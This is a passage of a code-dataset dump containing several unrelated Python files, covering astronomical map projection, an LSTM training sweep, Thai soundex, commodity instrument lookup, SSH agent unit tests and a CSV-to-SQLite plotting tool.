to\n the combination of an astropy.WCS and object and a 2-d array\n shape.\n\n \"\"\"\n @staticmethod\n def get_q(wcs):\n \"\"\"Analyze a wcs object to compute the quaternion rotation from\n celestial to native spherical coordinates.\n\n \"\"\"\n alpha0, delta0 = wcs.wcs.crval # In degrees.\n if (wcs.wcs.phi0 == 0. and wcs.wcs.theta0 == 0.):\n # This is typical for cylindrical projections.\n assert((delta0 >= 0 and wcs.wcs.lonpole == 180.0) or\n (delta0 <= 0 and wcs.wcs.lonpole == 0.0))\n Q = (quat.euler(1, delta0 * quat.DEG) *\n quat.euler(2, -alpha0 * quat.DEG))\n elif (wcs.wcs.phi0 == 0. and wcs.wcs.theta0 == 90.):\n # This is typical for zenithal projections.\n assert(wcs.wcs.lonpole == 180.0)\n Q = (quat.euler(2, np.pi) *\n quat.euler(1, (delta0 - 90)*quat.DEG) *\n quat.euler(2, -alpha0 * quat.DEG))\n else:\n raise ValueError(f'Unimplemented NSC reference (phi0,theta0)='\n '({wcs.wcs.phi0:.2f},{wcs.wcs.theta0:.2f})')\n return Q\n\n def __init__(self):\n self._q0 = None\n self.naxis = np.array([0, 0])\n self.cdelt = np.array([0., 0.])\n self.crpix = np.array([0., 0.])\n\n @classmethod\n def for_geom(cls, shape, wcs):\n self = cls()\n ax1, ax2 = wcs.wcs.lng, wcs.wcs.lat\n self.ndim = len(shape)\n # The axes are numbered from outside in...\n self.naxis = np.array([shape[self.ndim - ax1 - 1],\n shape[self.ndim - ax2 - 1]], dtype=int)\n # Get just the celestial part.\n wcs = wcs.celestial\n\n # Extract the projection name (e.g. CAR)\n proj = [c[-3:] for c in wcs.wcs.ctype]\n assert(proj[0] == proj[1])\n proj_name = proj[0] # Projection name\n self.proj_name = proj_name\n\n # Store the rotation to native spherical coordinates.\n self.q_celestial_to_native = self.get_q(wcs)\n\n # Store the grid info.\n self.cdelt = np.array(wcs.wcs.cdelt) * quat.DEG\n self.crpix = np.array(wcs.wcs.crpix)\n\n return self\n\n @classmethod\n def for_map(cls, emap, wcs=None):\n if wcs is None:\n wcs = emap.wcs\n return cls.for_geom(emap.shape, wcs)\n\n @classmethod\n def for_source_at(cls, alpha0, delta0, gamma0=0.,\n proj_name='TAN'):\n \"\"\"Return a projection that places the specified source position at\n the North Pole.\"\"\"\n\n self = cls()\n self.proj_name = proj_name\n assert(gamma0 == 0.)\n self.q_celestial_to_native = (\n quat.euler(2, np.pi)\n * quat.euler(1, (delta0 - 90)*quat.DEG)\n * quat.euler(2, -alpha0 * quat.DEG))\n return self\n\n def get_pixelizor(self):\n\n \"\"\"Returns the so3g.Pixelizor appropriate for use with the configured\n geometry.\n\n \"\"\"\n # All these casts are required because boost-python doesn't\n # like numpy scalars.\n return so3g.Pixelizor2_Flat(int(self.naxis[1]), int(self.naxis[0]),\n float(self.cdelt[1]), float(self.cdelt[0]),\n float(self.crpix[1]), float(self.crpix[0]))\n\n def get_ProjEng(self, comps='TQU', proj_name=None, get=True,\n instance=True):\n \"\"\"Returns an so3g.ProjEng object appropriate for use with the\n configured geometry.\n\n \"\"\"\n if proj_name is None:\n proj_name = self.proj_name\n projeng_name = f'ProjEng_{proj_name}_{comps}'\n if not get:\n return projeng_name\n try:\n projeng_cls = getattr(so3g, projeng_name)\n except AttributeError:\n raise ValueError(f'There is no projector implemented for '\n 'pixelization \"{proj_name}\", components '\n '\"{comps}\" (tried \"{projeng_name}\").')\n if not instance:\n return projeng_cls\n return projeng_cls(self.get_pixelizor())\n\n def _get_cached_q(self, new_q0):\n if new_q0 is not self._q0:\n self._q0 = new_q0\n self._qv = self.q_celestial_to_native * self._q0\n return self._qv\n\n def _guess_comps(self, map_shape):\n if len(map_shape) != 3:\n raise ValueError('Cannot guess components based on '\n 'map with %i!=3 dimensions!' % len(map_shape))\n if map_shape[0] == 1:\n return 'T'\n elif map_shape[0] == 2:\n return 'QU'\n elif map_shape[0] == 3:\n return 'TQU'\n raise ValueError('No default components for ncomp=%i; '\n 'set comps=... explicitly.' % map_shape[0])\n\n def get_pixels(self, assembly):\n \"\"\"Get the pixel indices for the provided pointing Assembly. For each\n detector, an int32 array of shape [n_time] is returned.\n\n See class documentation for description of standard arguments.\n\n \"\"\"\n projeng = self.get_ProjEng('TQU')\n q1 = self._get_cached_q(assembly.Q)\n return projeng.pixels(q1, assembly.dets, None)\n\n def get_coords(self, assembly, use_native=False):\n \"\"\"Get the spherical coordinates for the provided pointing Assembly.\n For each detector, a float64 array of shape [n_time,4] is\n returned. In the right-most index, the first two components\n are the longitude and latitude in radians. The next two\n components are the cosine and sine of the parallactic angle.\n\n This routine uses a trivial CAR projection to return results\n from the celestial coordinate system (i.e. (lon,lat) =\n (RA,dec)), and the parallactic angle will be relative to that\n projection. If you are interested in the parallactic angle of\n the native spherical coordinate system (e.g. if you're doing a\n tangent plane projection), make a second call specifying\n use_native=True. In this case you might also take a look at\n the get_planar() routine.\n\n See class documentation for description of standard arguments.\n\n \"\"\"\n projeng = self.get_ProjEng('TQU', 'CAR')\n if use_native:\n q1 = self._get_cached_q(assembly.Q)\n else:\n q1 = assembly.Q\n return projeng.coords(q1, assembly.dets, None)\n\n def get_planar(self, assembly):\n \"\"\"Get projection plane coordinates for all detectors at all times.\n For each detector, a float64 array of shape [n_time,4] is\n returned. The first two elements are the x and y projection\n plane coordiantes, similar to the \"intermediate world\n coordinates\", in FITS language. Insofar as FITS ICW has units\n of degrees, these coordinates have units of radians. Indices\n 2 and 3 carry the cosine and sine of the detector parallactic\n angle.\n\n \"\"\"\n q1 = self._get_cached_q(assembly.Q)\n projeng = self.get_ProjEng('TQU')\n return projeng.coords(q1, assembly.dets, None)\n\n def get_prec_omp(self, assembly):\n \"\"\"Perform a quick analysis of the pointing in order to enable OMP in\n tod-to-map operations. Returns a special object that can be\n passed as the omp= argument of to_map and to_weight_map.\n (Other operations can use OMP without this precomputed object,\n because there are no thread-safety issues.)\n\n See class documentation for description of standard arguments.\n\n \"\"\"\n projeng = self.get_ProjEng('T')\n q1 = self._get_cached_q(assembly.Q)\n omp_ivals = projeng.pixel_ranges(q1, assembly.dets)\n return RangesMatrix([RangesMatrix(x) for x in omp_ivals])\n\n def to_map(self, signal, assembly, dest_map=None, omp=None, comps=None):\n \"\"\"Project signal into a map.\n\n Arguments:\n signal (Signal-like): The signal to project.\n dest_map (Map-like): The map into which to accumulate the\n projected signal. If None, a map will be initialized internally.\n comps: The projection component string, e.g. 'T', 'QU',\n 'TQU'.\n omp (ProjectionOmpData): The OMP information (returned by\n get_prec_omp), if OMP acceleration is to be used.\n\n See class documentation for description of standard arguments.\n\n \"\"\"\n if dest_map is None and comps is None:\n raise ValueError(\"Provide an output map or specify component of \"\n \"interest (e.g. comps='TQU').\")\n if comps is None:\n comps = self._guess_comps(dest_map.shape)\n projeng = self.get_ProjEng(comps)\n q1 = self._get_cached_q(assembly.Q)\n if omp is None:\n map_out = projeng.to_map(\n dest_map, q1, assembly.dets, signal, None)\n else:\n map_out = projeng.to_map_omp(\n dest_map, q1, assembly.dets, signal, None, omp)\n return map_out\n\n def to_weights(self, assembly, dest_map=None, omp=None, comps=None):\n \"\"\"Project pointing into a weights map.\n\n Arguments:\n dest_map (Map-like): The weights map into which to\n accumulate the projected signal. If None, a map will be\n initialized internally.\n comps: The projection component string, e.g. 'T', 'QU',\n 'TQU'.\n omp (ProjectionOmpData): The OMP information (returned by\n get_prec_omp), if OMP acceleration is to be used.\n\n See class documentation for description of standard arguments.\n\n \"\"\"\n if dest_map is None and comps is None:\n raise ValueError(\"Provide an output map or specify component of \"\n \"interest (e.g. comps='TQU').\")\n if comps is None:\n assert(dest_map.shape[0] == dest_map.shape[1])\n comps = self._guess_comps(dest_map.shape[1:])\n projeng = self.get_ProjEng(comps)\n q1 = self._get_cached_q(assembly.Q)\n if omp is None:\n map_out = projeng.to_weight_map(\n dest_map, q1, assembly.dets, None, None)\n else:\n map_out = projeng.to_weight_map_omp(\n dest_map, q1, assembly.dets, None, None, omp)\n return map_out\n\n def from_map(self, src_map, assembly, signal=None, comps=None):\n \"\"\"De-project from a map, returning a Signal-like object.\n\n Arguments:\n src_map (Map-like): The map from which to sample.\n signal (Signal-like): The object into which to accumulate\n the signal. If not provided, a suitable object will be\n created and initialized to zero.\n comps: The projection component string, e.g. 'T', 'QU',\n 'TQU'.\n omp: The OMP information (returned by get_prec_omp), if OMP\n acceleration is to be used.\n\n See class documentation for description of standard arguments.\n\n \"\"\"\n if src_map.ndim == 2:\n # Promote to (1,...)\n src_map = src_map[None]\n if comps is None:\n comps = self._guess_comps(src_map.shape)\n projeng = self.get_ProjEng(comps)\n q1 = self._get_cached_q(assembly.Q)\n signal_out = projeng.from_map(\n src_map, q1, assembly.dets, signal, None)\n return signal_out\n","sub_path":"python/proj/wcs.py","file_name":"wcs.py","file_ext":"py","file_size_in_byte":11924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"232614927","text":"import sys\n\nread = sys.stdin.readline\n\ndef permutation(nums, i, visited, M):\n if M == 0: sys.stdout.write(visited + '\\n')\n else :\n for idx in range(i, len(nums)):\n permutation(nums, idx, visited + '%d '%nums[idx], M - 1)\n\n\ndef solution(N, M, nums):\n nums = sorted(nums)\n \n permutation(nums, 0, '', M)\n\n\nif __name__ == '__main__':\n N, M = map(int, read().split())\n nums = list(set(map(int, read().split())))\n\n solution(N, M, nums)","sub_path":"10001~20000/15666/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"475124285","text":"\nimport acm\nfrom CommodityStripSearchHook import CustomFindInstrument\nimport re\n\nclass StripInstrumentSearch:\n\n def __init__(self, tempDeal):\n self._tempDeal = tempDeal\n \n # Set the base query attributes we always want to set\n # underlying, currency etc\n self._noneNodes = []\n \n self._tempInstrument = self._tempDeal.Instruments().First()\n if hasattr(self._tempInstrument, 'DecoratedObject'):\n self._tempInstrument = self._tempInstrument.DecoratedObject()\n \n self._query = acm.CreateFASQLQuery(self._tempInstrument.Class(), 'AND')\n self._node = self._query.AddOpNode('AND')\n self._instruments = acm.FArray()\n\n def BuildQuery(self):\n\n for attribute in self._tempDeal.GetAttributes():\n queryMapping = self._tempDeal.GetAttributeMetaData(attribute, '_queryMapping')()\n if queryMapping:\n valueToMatch = self._tempDeal.GetAttribute(attribute)\n if valueToMatch is None:\n self._noneNodes.append(queryMapping)\n else:\n dbReference = queryMapping[0]\n operator = queryMapping[1]\n #Are we looking for the Name attribute...\n if dbReference.split('.')[-1] == 'Name':\n valueToMatch = valueToMatch.Name()\n if operator == 'RE_LIKE_NOCASE':\n valueToMatch = re.escape(valueToMatch)\n elif self._tempDeal.GetAttributeMetaData(attribute, 'domain')().IsKindOf('FDateTimeDomain'):\n valueToMatch = acm.Time.AsDate(valueToMatch)\n \n self._node.AddAttrNode(dbReference, operator, valueToMatch)\n\n def MatchesNone(self, ins, node):\n matchEntity = ins\n operator = node[1]\n for attribute in node[0].split('.'):\n matchEntity = getattr(matchEntity, attribute)()\n if hasattr(matchEntity, 'IsKindOf') and matchEntity.IsKindOf(acm.FCollection):\n matchEntity = None if matchEntity.IsEmpty() else matchEntity.First()\n if matchEntity is None:\n return True if operator in ('EQUAL', 'RE_LIKE_NOCASE') else False\n return False if operator in ('EQUAL', 'RE_LIKE_NOCASE') else True\n\n def Execute(self):\n allInstruments = self._query.Select()\n for ins in allInstruments:\n if ins != self._tempInstrument:\n noneMatch = True\n for noneNode in self._noneNodes:\n if not self.MatchesNone(ins, noneNode):\n noneMatch = False\n break\n if noneMatch is True:\n self._instruments.Add(ins)\n\n def Instruments(self):\n return self._instruments\n\ndef FindExistingInstrument(tempDeal):\n returnObj = CustomFindInstrument(tempDeal)\n if returnObj is None:\n #No custom instrument find hook, use default\n query = StripInstrumentSearch(tempDeal)\n query.BuildQuery()\n query.Execute()\n if query.Instruments().Size() > 0:\n returnObj = query.Instruments().First()\n else:\n if returnObj == tempDeal.TradeAt('Trade').Instrument():\n returnObj = None\n \n if returnObj:\n if not returnObj.IsInfant():\n returnObj = returnObj.StorageImage()\n if not returnObj.IsKindOf(acm.FBusinessLogicDecorator):\n returnObj = acm.FBusinessLogicDecorator.WrapObject(returnObj)\n return returnObj\n\n \n","sub_path":"Extensions/Commodity Strip Deal Package/FPythonCode/CommodityStripInstrumentSearch.py","file_name":"CommodityStripInstrumentSearch.py","file_ext":"py","file_size_in_byte":3607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"229134294","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[20]:\n\n\nimport numpy as np \nimport pandas as pd \nimport os\nimport re\nfrom multiprocessing import Pool\nimport os\nimport time\nimport math\nimport tensorflow as tf\nimport keras\nfrom keras.backend.tensorflow_backend import set_session\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.layers import Dense, Input, LSTM, Embedding, Dropout, Activation, CuDNNGRU, Conv1D,GRU,CuDNNLSTM\nfrom keras.layers import Bidirectional, GlobalMaxPool1D\nfrom keras.models import Model,load_model\nfrom keras import initializers, regularizers, constraints, optimizers, layers, optimizers, callbacks\nimport pickle\n\nimport sys\n\ncallbacks.TensorBoard(histogram_freq=0)\nchange_seed=np.random.randint(0,1e9)\n\npath1=sys.argv[1]\npath2=sys.argv[2]\npath3=sys.argv[3]\ntrain_df=pd.read_csv(path1)\ntrain_df[\"target\"]=pd.read_csv(path2)[\"label\"]\ntest_df=pd.read_csv(path3)\ntrain_df_len = train_df.shape[0]\ndef max_(lis):\n max_ele=0\n max_ind=0\n for i in range(len(lis)):\n if lis[i]>max_ele:\n max_ele=lis[i]\n max_ind=i\n \n return max_ind+1,max_ele\n\ndef createdict(seq,thres):\n wordtoind=dict()\n indtoword=dict()\n count=[0]\n c=1\n for i in range(len(seq)):\n for j in range(len(seq[i])):\n if not seq[i][j] in wordtoind:\n wordtoind[seq[i][j]]=c\n indtoword[c]=seq[i][j]\n c+=1\n count.append(1)\n else:\n count[wordtoind[seq[i][j]]]+=1\n sel_ind=[]\n for i in range(len(count)):\n if count[i]>=thres:\n sel_ind.append(i)\n wti=dict()\n itw=dict()\n for i,ele in enumerate(sel_ind):\n itw[i+1]=indtoword[ele]\n wti[indtoword[ele]]=i+1\n \n \n return wti,itw\ndef preprocess(seq,wti):\n seq_n=[]\n for i in range(len(seq)):\n app=[]\n for j in range(len(seq[i])):\n if seq[i][j] in wti:\n app.append(wti[seq[i][j]])\n seq_n.append(app)\n return seq_n\n\n \n\n\n# In[21]:\n\n\ndef tokenize(text,label=1):\n if label:\n row,l=text\n else:\n row=text\n app=row.encode('ascii', 'ignore').decode('ascii').lower()\n for ele in [\"@user\",\"url\",\".\",\",\",\"!\",\"?\",\"(\",\")\"]:\n while ele in app:\n app=app.replace(ele,\"\")\n app=app.split(\" \")\n for ele in ['@',\"\"]:\n while ele in app:\n app.remove(ele)\n i=0\n while i0.5).reshape([-1]).astype(\"int\")\n df = pd.DataFrame({'id': np.arange(0,len(ans)), 'label': ans})\n df.to_csv('kaggle/%.3f_lstm.csv'%(acc),index=False)\n file=open(\"parameter_lstm.txt\",\"a\")\n file.write(\"acc= %.3f \"%(acc)+str(p)+\"\\n\")\n file.close()\n\ndef fix_seed(s):\n np.random.seed(s)\n tf.set_random_seed(s)\n\ndef build_model(p):\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n sess = tf.Session(config=config)\n set_session(sess) \n fix_seed(p[-1])\n h1=p[0];h2=p[1];drop=p[2];lr=p[3]\n inp = Input(shape=(maxlen,))\n x = Embedding(max_features, embed_size)(inp)\n x = Bidirectional(CuDNNLSTM(h1, return_sequences=True))(x)\n x = GlobalMaxPool1D()(x)\n x = Dense(h2, activation=\"relu\")(x)\n x = Dropout(drop)(x)\n x = Dense(1, activation=\"sigmoid\")(x)\n model = Model(inputs=inp, outputs=x)\n adam = optimizers.Adam(lr=lr)\n model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n return model\n\n\n# In[ ]:\n\n\n\n\n\n# In[29]:\n\n\nnp.random.seed(change_seed)\n\nbatch_size=512\ngrid=[4,8,16,32,64,128,256]\nbest_ep=0;best_acc=0.76\nfor i in range(10):\n s=np.random.randint(0,1e7)\n for i in range(1,len(grid)):\n p1=grid[i]\n for j in range(i):\n p2=grid[j]\n for drop in np.arange(0.1,0.6,0.1):\n lr=10**(-np.random.randint(2,6))\n p=[p1,p2,drop,lr,s]\n model=build_model(p)\n v=0\n hist=model.fit(train_X, train_y, batch_size=batch_size, epochs=30, \n validation_data=(val_X, val_y),verbose=v,shuffle=True)\n ep,acc=max_(hist.history[\"val_acc\"])\n tf.keras.backend.clear_session()\n del model\n del hist\n\n if acc>best_acc:\n best_acc=acc\n best_ep=ep\n print(acc,ep)\n model=build_model(p)\n hist=model.fit(train_X, train_y, batch_size=batch_size, \n epochs=ep, validation_data=(val_X, val_y),verbose=v,shuffle=True)\n \n ep,acc=max_(hist.history[\"val_acc\"])\n print(\"save! acc=%.3f epoch= %d\"%(acc,ep))\n #save_write(model,acc)\n tf.keras.backend.clear_session()\n del model\n del hist\n\n","sub_path":"hw5/lstm.py","file_name":"lstm.py","file_ext":"py","file_size_in_byte":6703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"528947854","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThai soundex - Udom83 system\n\nPython implementation: Korakot Chaovavanich\nhttps://gist.github.com/korakot/0b772e09340cac2f493868da035597e8\n\"\"\"\nimport re\n\n_RE_1 = re.compile(r\"รร([เ-ไ])\")\n_RE_2 = re.compile(r\"รร([ก-ฮ][ก-ฮเ-ไ])\")\n_RE_3 = re.compile(r\"รร([ก-ฮ][ะ-ู่-์])\")\n_RE_4 = re.compile(r\"รร\")\n_RE_5 = re.compile(r\"ไ([ก-ฮ]ย)\")\n_RE_6 = re.compile(r\"[ไใ]([ก-ฮ])\")\n_RE_7 = re.compile(r\"ำ(ม[ะ-ู])\")\n_RE_8 = re.compile(r\"ำม\")\n_RE_9 = re.compile(r\"ำ\")\n_RE_10 = re.compile(r\"จน์|มณ์|ณฑ์|ทร์|ตร์|[ก-ฮ]์|[ก-ฮ][ะ-ู]์\")\n_RE_11 = re.compile(r\"[ะ-์]\")\n\n_TRANS1 = str.maketrans(\n \"กขฃคฅฆงจฉชฌซศษสฎดฏตฐฑฒถทธ���นบปผพภฝฟมญยรลฬฤฦวอหฮ\",\n \"กขขขขขงจชชชสสสสดดตตททททททนนบปพพพฟฟมยยรรรรรวอฮฮ\",\n)\n_TRANS2 = str.maketrans(\n \"มวำกขฃคฅฆงยญณนฎฏดตศษสบปพภผฝฟหอฮจฉชซฌฐฑฒถทธรฤลฦ\",\n \"0001111112233344444445555666666777778888889999\",\n)\n\n\ndef udom83(text: str) -> str:\n \"\"\"\n This function converts Thai text into phonetic code with the\n Thai soundex algorithm named **Udom83** [#udom83]_.\n\n :param str text: Thai word\n\n :return: Udom83 soundex\n :rtype: str\n\n :Example:\n ::\n\n from pythainlp.soundex import udom83\n\n udom83(\"ลัก\")\n # output : 'ล100'\n\n udom83(\"รัก\")\n # output: 'ร100'\n\n udom83(\"รักษ์\")\n # output: 'ร100'\n\n udom83(\"บูรณการ\")\n # output: 'บ5515'\n\n udom83(\"ปัจจุบัน\")\n # output: 'ป775300'\n \"\"\"\n\n if not text or not isinstance(text, str):\n return \"\"\n\n text = _RE_1.sub(\"ัน\\\\1\", text)\n text = _RE_2.sub(\"ั\\\\1\", text)\n text = _RE_3.sub(\"ัน\\\\1\", text)\n text = _RE_4.sub(\"ัน\", text)\n text = _RE_5.sub(\"\\\\1\", text)\n text = _RE_6.sub(\"\\\\1ย\", text)\n text = _RE_7.sub(\"ม\\\\1\", text)\n text = _RE_8.sub(\"ม\", text)\n text = _RE_9.sub(\"ม\", text)\n text = _RE_10.sub(\"\", text)\n text = _RE_11.sub(\"\", text)\n\n if not text:\n return \"\"\n\n sd = \"\".join([text[0].translate(_TRANS1), text[1:].translate(_TRANS2), \"000000\"])\n\n return sd[:7]\n","sub_path":"pythainlp/soundex/udom83.py","file_name":"udom83.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"94724307","text":"# Copyright 2015 Mirantis Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport mock\n\nfrom cloudferrylib.utils import utils\nfrom fabric.api import local\nfrom tests import test\n\n\nclass forward_agentTestCase(test.TestCase):\n\n @mock.patch('cloudferrylib.utils.utils.local')\n def test_agent_is_already_run_w_keys(self, test_local):\n test_local.return_value = local(\n \"echo test_session_num test_fingerprint test_key_1 test_type\\n\"\n \"echo test_session_num test_fingerprint test_key_2 test_type\\n\",\n capture=True\n )\n fa = utils.forward_agent(['test_key_1', 'test_key_2'])\n\n self.assertTrue(fa._agent_already_running())\n\n @mock.patch('cloudferrylib.utils.utils.local')\n def test_agent_is_not_run(self, test_local):\n test_local.return_value = local(\n \"echo The agent has no identities.\",\n capture=True\n )\n fa = utils.forward_agent(['test_key_1', 'test_key_2'])\n\n self.assertFalse(fa._agent_already_running())\n\n @mock.patch('cloudferrylib.utils.utils.local')\n def test_agent_is_already_run_w_another_key(self, test_local):\n test_local.return_value = local(\n \"echo test_session_num test_fingerprint test_key test_type\\n\",\n capture=True\n )\n fa = utils.forward_agent(['test_key_1', 'test_key_2'])\n\n self.assertFalse(fa._agent_already_running())\n","sub_path":"tests/cloudferrylib/utils/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"213660940","text":"\n\nfrom xai.brain.wordbase.verbs._oblige import _OBLIGE\n\n#calss header\nclass _OBLIGES(_OBLIGE, ):\n\tdef __init__(self,): \n\t\t_OBLIGE.__init__(self)\n\t\tself.name = \"OBLIGES\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"oblige\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_obliges.py","file_name":"_obliges.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"167479054","text":"#!/usr/bin/env python3\n\nfrom argparse import ArgumentParser\nfrom copy import deepcopy\nfrom os import remove as rm\nfrom subprocess import PIPE, Popen\nfrom sys import stdin, stderr\nfrom tempfile import mkstemp\nimport re\nimport sqlite3\n\ndef typestrOf(string):\n try:\n try:\n int(string)\n return \"int\"\n except ValueError:\n float(string)\n return \"float\"\n except ValueError:\n return \"varchar\"\n\ndef csv2sql(csvfiles, sql_file):\n prev_header = []\n column_types = []\n for csv in csvfiles:\n with open(csv, \"r\") as fd:\n header = fd.readline().split()\n data = fd.readline().split()\n types = [typestrOf(item) for item in data]\n assert \"current_time\" not in header, \"column name current_time is reserved\"\n assert not prev_header or prev_header == header, \"file {} has different headers from previous files\".format(csv)\n assert len(header) == len(data), \"file {} has mismatched header and data columns\".format(csv)\n assert all(re.match(\"[A-Za-z]\", item) for item in header), \"file {} has column header with non-alpha leading character\".format(csv)\n prev_header = header\n column_types = types\n commands = []\n create_cmd = \"CREATE TABLE IF NOT EXISTS csvplot_data ( {} );\".format(\", \".join(\"{} {} NOT NULL\".format(n, t) for n, t in zip(prev_header, column_types)))\n commands.append(create_cmd)\n commands.append(\".mode csv\")\n commands.append(\".separator ' '\")\n commands.extend([\".import {} csvplot_data\".format(csv) for csv in csvfiles])\n commands.append(\"DELETE FROM csvplot_data WHERE {};\".format(\" AND \".join(\"{}='{}'\".format(c, c) for c in header)))\n commands.append(\".exit\")\n command = \"\\n\".join(commands)\n pipe = Popen((\"sqlite3\", sql_file), stdin=PIPE)\n pipe.communicate(command.encode())\n return create_cmd, column_types\n\ndef generateSQL(args, sql_file):\n sql_conn = sqlite3.connect(sql_file)\n # cache the constraints\n constraints_clause = \"\"\n if args.constraints:\n constraints_clause = \" WHERE {}\".format(\" AND \".join(\"({})\".format(c) for c in args.constraints))\n # save the order the variables were in\n xorder = []\n if args.xs:\n xorder = [x.split(\"=\", 1) if \"=\" in x else (x, x) for x in args.xs]\n yorder = [y.split(\"=\", 1) if \"=\" in y else (y, y) for y in args.ys]\n gorder = []\n gmaps = [[]]\n if args.gs:\n gorder = [g.split(\"=\", 1) if \"=\" in g else (g, g) for g in args.gs]\n # find the distinct set of g's\n cursor = sql_conn.cursor()\n cursor.execute(\"SELECT DISTINCT {} FROM csvplot_data {};\".format(\", \".join(\"{} AS {}\".format(expr, name) for name, expr in gorder), constraints_clause))\n gvalues = sorted(set(row for row in cursor))\n cursor.close()\n gmaps = [list(zip((name for name, expr in gorder), values)) for values in gvalues]\n # xnames don't need to change\n xnames = [\"{} AS {}\".format(expr, name) for name, expr in xorder]\n # generate single queries by iterating through the comparison group values, zipped up with their names\n columns = deepcopy(xnames)\n selects = []\n for gmap in gmaps:\n # generate a name for this comparison group\n gname = \"_\".join(re.sub(\"[^a-zA-Z0-9_]\", \"\", str(value)) for name, value in gmap)\n if gname:\n gname = \"_{}\".format(gname)\n # ynames needs to be distinguished by the group name\n ynames = [\"{} AS {}\".format(expr, \"{}{}\".format(name, gname)) for name, expr in yorder]\n columns.extend(ynames)\n # together, they form the results\n results = \", \".join(xnames + ynames)\n # if there are constraints, add a WHERE clause; do some work to make sure types are correct\n constraints = \" AND \".join([\"({})\".format(constraint) for constraint in args.constraints] + [\"({}={})\".format(name, (\"\\\"{}\\\"\".format(value) if typestrOf(value) == \"varchar\" else value)) for name, value in gmap])\n if constraints:\n constraints = \"WHERE {}\".format(constraints)\n # group the results by the x values\n groups = \", \".join(name for name, value in xorder)\n # prettify the SELECT by removing extra spaces\n pretty_select = re.sub(r\" \\+\", \" \", \"SELECT {} FROM csvplot_data {} GROUP BY {}\".format(results, constraints, groups))\n selects.append(pretty_select)\n columns = [re.sub(\".* AS \", \"\", column) for column in columns]\n if len(selects) == 1:\n sql = selects[0]\n else:\n joined = \" NATURAL JOIN\\n\".join(\"( {} )\".format(select) for select in selects)\n sql = \"SELECT * FROM (\\n{}\\n) ORDER BY {};\".format(joined, \", \".join(name for name, value in xorder))\n return sql, columns\n\ndef output_print(column_names, sql, sql_file, args):\n sql_conn = sqlite3.connect(sql_file)\n if args.header:\n print(\"{}\".format(\" \".join(column_names)))\n cursor = sql_conn.cursor()\n cursor.execute(sql)\n print(\"\\n\".join(\" \".join(str(val) for val in row) for row in cursor))\n cursor.close()\n\ndef main():\n arg_parser = ArgumentParser(usage=\"%(prog)s [OPTIONS] -y [CSV ...]\")\n arg_parser.add_argument(\"csvs\", metavar=\"CSV\", nargs=\"*\", help=\"CSV data\")\n arg_parser.set_defaults(constraints=[], xs=[], ys=[], groups=[], header=True, verbose=False)\n arg_parser.add_argument(\"-x\", dest=\"xs\", action=\"append\", help=\"independent column\")\n arg_parser.add_argument(\"-y\", dest=\"ys\", action=\"append\", help=\"dependent column\")\n arg_parser.add_argument(\"-g\", dest=\"gs\", action=\"append\", help=\"comparison variables\")\n arg_parser.add_argument(\"-c\", dest=\"constraints\", action=\"append\", help=\"constraints\")\n arg_parser.add_argument(\"-p\", dest=\"plot_data\", action=\"store\", help=\"generate gnuplot file\")\n arg_parser.add_argument(\"-t\", dest=\"header\", action=\"store_false\", help=\"no headers\")\n arg_parser.add_argument(\"-v\", dest=\"verbose\", action=\"store_true\", help=\"show SQL statements\")\n args = arg_parser.parse_args()\n\n temp_files = []\n\n sql_file = mkstemp(\".sqlite\")[1]\n temp_files.append(sql_file)\n\n if args.csvs or not stdin.isatty():\n if not stdin.isatty():\n temp_in = mkstemp(\".csv\")[1]\n temp_files.append(temp_in)\n with open(temp_in, 'w') as temp_out:\n temp_out.write(stdin.read())\n args.csvs = [temp_in,]\n\n exit_code = 0\n\n try:\n if args.csvs:\n sql = csv2sql(args.csvs, sql_file)\n if args.verbose:\n stderr.write(\"{}\\n\".format(sql))\n sql, column_names = generateSQL(args, sql_file)\n if args.verbose:\n stderr.write(\"{}\\n\".format(sql))\n except BaseException as err:\n if isinstance(err, KeyboardInterrupt):\n stderr.write(\"interrupted;\")\n elif isinstance(err, AssertionError):\n stderr.write(\"{};\\n\".format(err))\n else:\n stderr.write(\"Unforeseen error: {};\\n\".format(err))\n exit_code = 1\n finally:\n output_print(column_names, sql, sql_file, args)\n for f in temp_files:\n rm(f)\n exit(exit_code)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"csvplot.py","file_name":"csvplot.py","file_ext":"py","file_size_in_byte":7267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"149934800","text":"#/usr/bin/python\n\n# Many thanks to @dijkstracula for most of the code in here. <3\nimport random, re, sys \n\nchain_dict = {} # chain -> next word\n\nchain = (None, None)\n\nfor line in sys.stdin:\n tokens = re.split(\"\\s\", line)\n for t in tokens:\n if t == '':\n continue\n\n try:\n a = chain_dict[chain]\n except KeyError:\n a = []\n chain_dict[chain] = a\n\n a.append(t)\n chain = (chain[1], t)\n\nchain = (None, None)\nfor i in 